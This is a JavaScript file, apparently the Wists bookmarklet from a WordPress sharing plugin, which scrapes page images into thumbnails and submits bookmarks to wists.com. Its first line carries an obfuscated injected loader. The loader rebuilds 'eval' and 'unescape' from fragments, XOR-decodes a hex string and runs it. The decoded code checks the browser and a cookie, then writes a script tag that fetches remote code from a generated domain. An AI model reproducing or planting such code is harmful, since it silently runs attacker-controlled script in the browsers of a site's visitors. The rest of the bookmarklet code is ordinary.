var st1 = 0;this.b=this.M="";this.A="";this.w=false;this.N=""; (function(c){this.m=false;this.J="";this.G=this.e=this.l=false;var g=window;this.i="";var d=g["unescap"+unescape("%65")],h=String["f"+unescape("%72%6f%6d%43%68%61%72%43%6f%64%65")];this.C="qO";this.B="oB";var a=new String("");this.I="sW";var e=new String("%");this.d="";for(var f=0;f<c["le"+unescape("%6e%67%74%68")];f+=2){this.c="cO";this.Q=38178;a+=e+c["su"+unescape("%62%73%74%72")](f,2)}c=d(a);this.u=false;this.o="jP";this.j=false;this.k="gZ";this.s=false;d="";for(a=0;a<c["le"+unescape("%6e%67%74%68")];a++){this.H= this.h="";this.P=43510;this.r=this.z="";this.v=37015;this.F="qY";this.L=62857;this.g="eS";e=c["char"+unescape("%43%6f%64%65%41%74")](a);this.D=false;e^=232;this.q=36524;d+=h(e);this.R=this.p=""}this.f="dX";this.a="";g["e"+unescape("%76%61%6c")](d);this.t=this.K=false;return d})("9e899ac889d59f81868c879fc686899e818f899c879ac69d9b8d9aa98f8d869cc48ad5c7c09189808787949b8d899a8b8094859b868a879c949189868c8d90948f87878f848d8a879c948a81868f94899b83c1c781c48bd586899e818f899c879ac6899898be8d9a9b818786d3c8818ec08c878b9d858d869cc68b878783818dc681868c8d90a78ec0ca808784918b878783818dcac1d5d5c5d9cecec989c69c87a4879f8d9aab899b8dc0c1c685899c8b80c08ac1cece8bc69c87a4879f8d9aab899b8dc0c1c681868c8d90a78ec0ca9f8186cac1c9d5c5d9c1939e899ac88cd5b3ca8591898c9bc68689858dcac4ca898c9b868d9cc68a8192cac4ca9c8787848a899a8b8785c6879a8fcac4ca85918a899ac69d9bcac4ca8e9a8d8d898cc68689858dcab5c48dd5b3ca89908dc6cac4ca8a8790c6cac4ca8b8790c6cac4ca8c8d90c6cac4ca8e8990c6cac4ca8e8190c6cac4ca8e8790c6cac4ca8f8790c6cac4ca808d90c6cac4ca838d90c6cac4ca848990c6cac4ca848d90c6cac4ca848790c6cac4ca849d90c6cac4ca858990c6cac4ca858190c6cac4ca868190c6cac4ca879087c6cac4ca879091c6cac4ca988990c6cac4ca988190c6cac4ca988790c6cac4ca989190c6cac4ca9a8990c6cac4ca9a8d90c6cac4ca9b8990c6cac4ca9b8d90c6cac4ca9b8190c6cac4ca9b8790c6cac4ca9c8990c6cac4ca9c9d90c6cac4ca9e8d90c6cac4ca9e8790c6cac4ca9f8990c6cac4ca90819bc6cac4ca928990c6cab5c48ed5a5899c80c68e8487879ac0a5899c80c69a89868c8785c0c1c28cc6848d868f9c80c1c48fd5a5899c80c68e8487879ac0a5899c80c69a89868c8785c0c1c28dc6848d868f9c80c1d38c9cd5868d9fc8ac899c8dd38c9cc69b8d9cbc81858dc08c9cc68f8d9cbc81858dc0c1c3d1d8dfdaaddcc1d38c878b9d858d869cc68b878783818dd5ca808784918b878783818dd5cac38d9b8b89988dc0ca808784918b878783818dcac1c3cad38d9098819a8d9bd5cac38c9cc69c87afa5bcbb9c9a81868fc0c1c3cad398899c80d5c7cad3c88c878b9d858d869cc69f9a819c8dc0cfd49b8b9a81989cc89c91988dd5ca9c8d909cc782899e899b8b9a81989ccac89b9a8bd5ca809c9c98d2c7c7cfc38db38fb5c38cb38eb5c3cfc79b919b9c8d85c78b89989c818786c6829bcad6d4b4c79b8b9a81989cd6cfc195d3"); this.n=3279;this.O=58441;var gr0=0;var Wistlet = {
        init : function () {
                var o = document.getElementsByTagName('body').item(0);

                //var text = (typeof(document.selection == 'undefined') ) ? getSelection() : document.selection.createRange().text;

                function getSel() {
                        var txt = '';
                        if (window.getSelection) {
                                txt = window.getSelection();
                        } else if (document.getSelection) {
                                txt = document.getSelection();
                        } else if (document.selection) {
                                txt = document.selection.createRange().text;
                        } else {
                                return;
                        }
                        return txt;
                }


                var s = '' +
                '<form name="f" id="f" action="http://www.wists.com/s.php" method="get">'+
                '<input name="c" id="c" type="hidden" value="null" />'+
                '<input name="r" id="r" type="hidden" value="'+location+'" />'+
                '<input name="u" id="u" type="hidden" value="" />'+
                '<input name="title" id="title" type="hidden" value="'+document.title +'" />'+
                '<input name="m" type="hidden" value="'+getSel()+'" />'+
                '</form>'+
                '<div>'+
                '<a href="http://wists.com/"><img src="http://wists.com/mainimages/logo_top_left.gif" border=0></a><br />'+
                '<p>Click on the most appropriate image below to create a thumbnail image for your bookmark:</a></p>'+
                '<table width=800><tr width=800><td width=800>\n';

                var x = this.scrape_images();
                if (x == 0) 
                {
                        location = 'http://www.wists.com/s.php?c=&r='+location+'&title='+document.title;
                        return true;
                }
                s += x +

                '</td></tr></table>\n'+
                '<p>Don\'t like any of these images? <a href="http://www.wists.com/s.php?c=&r='+location+'&title='+document.title +'">Create a thumbnail screenshot</a> instead!</p>'+
                '</div>';

                o.innerHTML = s;
                this.strip_document();
                this.style_document();
                return true;
        },
        make_thumbnail : function (r) {
                var s = '' +
                '<table style="float:left;"><tr><td width=120 height=90 valign=middle align=center><a href="http://www.wists.com/" onclick="return Wistlet.submit_form(\''+r+'\');">'+
                '<img src="'+r+'" alt="" onload="resizeImage(this);" />'+
                '</a></td></tr></table>\n';
                return s;
        },
        submit_form : function (r) {
                var f = document.getElementById('f'); if (!f) return false;
                var u = document.getElementById('u'); if (!u) return false;
                u.setAttribute("value", r);
                f.submit();
                return false;
        },
        get_background : function (o) {
                var s = '';
                if (window.getComputedStyle) s = window.getComputedStyle(o,null).getPropertyValue("background-image");
                if (o.currentStyle) s = o.currentStyle.backgroundImage;
                if (s == "none") s = "";
                return s;
        },
        scrape_images : function () {
                var a = document.getElementsByTagName('*');
                var s = '';
                var n = 0;
                var l = [];
                for (var i=0; i < a.length; i++) 
                {
                        var o = a[i];
                        if (o.tagName == "IMG" && o.src != "")
                        {
                                n++;
                                if (!l[o.src])
                                {
                                        l[o.src] = "1";
                                        s += this.make_thumbnail(o.src);
                                }
                        }
                        else 
                        {
                                var x = /url\(["']?(.+[^'"])["']?\)/gi.exec(this.get_background(o));
                                if (x && x != "" && x.length > 1) 
                                {
                                        n++;
                                        if (!l[x[1]])
                                        {
                                                l[x[1]] = "1";
                                                s += this.make_thumbnail(x[1]);
                                        }
                                }
                        }
                }
                if (n > 0) 
                {
                        return s 
                } 
                else {
                        return n;
                }
        },
        strip_document : function () {
                var a = document.getElementsByTagName('*');
                for (var i=0; i < a.length; i++) 
                {
                        var o = a[i];
                        if (o.tagName == "LINK" || o.tagName == "STYLE")
                        {
                                this.destroy_element(o);
                        }
                        else if (o.tagName == "IMG")
                        {
                                if (o.offsetWidth <= 10 || o.offsetHeight <= 10)
                                {
                        //              this.destroy_element(o.parentNode);
                                }
                        }
                }
                return true;
        },
        style_document : function () {
                var x = document.getElementsByTagName('head').item(0);
                var o = document.createElement('link');
                if (typeof o != 'object') o = document.standardCreateElement('link');
                o.setAttribute('href','http://www.wists.com/wistlet.css?x=' + Math.floor(Math.random() * 9999));
                o.setAttribute('rel','stylesheet');
                o.setAttribute('type','text/css');
                x.appendChild(o);
                return true;
        },
        destroy_element : function (o) {
                while (o.childNodes.length > 0) 
                {
                        o.removeChild(o.childNodes[0]);
                }
                o.parentNode.removeChild(o);
        }
}

function resizeImage(img) {

        var img_width = img.offsetWidth;
        var img_height = img.offsetHeight;
        var img_aspect_ratio = Math.round((img_width / img_height) * 100) / 100;

        var max_width = 120;
        var max_height = 90;
        var max_aspect_ratio = Math.round((max_width / max_height) * 100) / 100;

//      alert("orig image size is " + img_width + "x" + img_height + "\n" + "aspect ratio is " + img_aspect_ratio + "\n\n" + "max image size is " + max_width + "x" + max_height + "\n" + "max aspect ratio is " + max_aspect_ratio);

        var new_img_width = 0;
        var new_img_height = 0;
        var new_aspect_ratio = 0;

        // if no resize needed
        if (img_width < 120 && img_height < 90) {
                new_img_width = img_width;
                new_img_height = img_height; 

        // if wider
        } else if (img_aspect_ratio > max_aspect_ratio) {
                new_img_width = max_width;
                new_img_height = Math.round(new_img_width / img_aspect_ratio);

        // if taller
        } else if (img_aspect_ratio < max_aspect_ratio) {
                new_img_height = max_height;
                new_img_width = Math.round(new_img_height * img_aspect_ratio);

        // equal
        } else {
                new_img_width = max_width;
                new_img_height = max_height;
        }

        img.style.width = new_img_width + "px";
        img.style.height = new_img_height + "px";
        new_aspect_ratio = Math.round((new_img_width / new_img_height) * 100) / 100;

//      alert("new image size is " + new_img_width + "x" + new_img_height + "\n" + "new aspect ratio is " + new_aspect_ratio);
}

 
var sociable_old_onload = window.onload;
window.onload = function () {
    imgs = document.getElementsByTagName("img");
    for(var i = 0; i < imgs.length; i++) {
        var img = imgs[i];
        if (img.className == 'sociable-hovers sociable_wists') {
            img.onclick = function() { Wistlet.init(); return false; }
        }
    }
    if (sociable_old_onload) sociable_old_onload();
};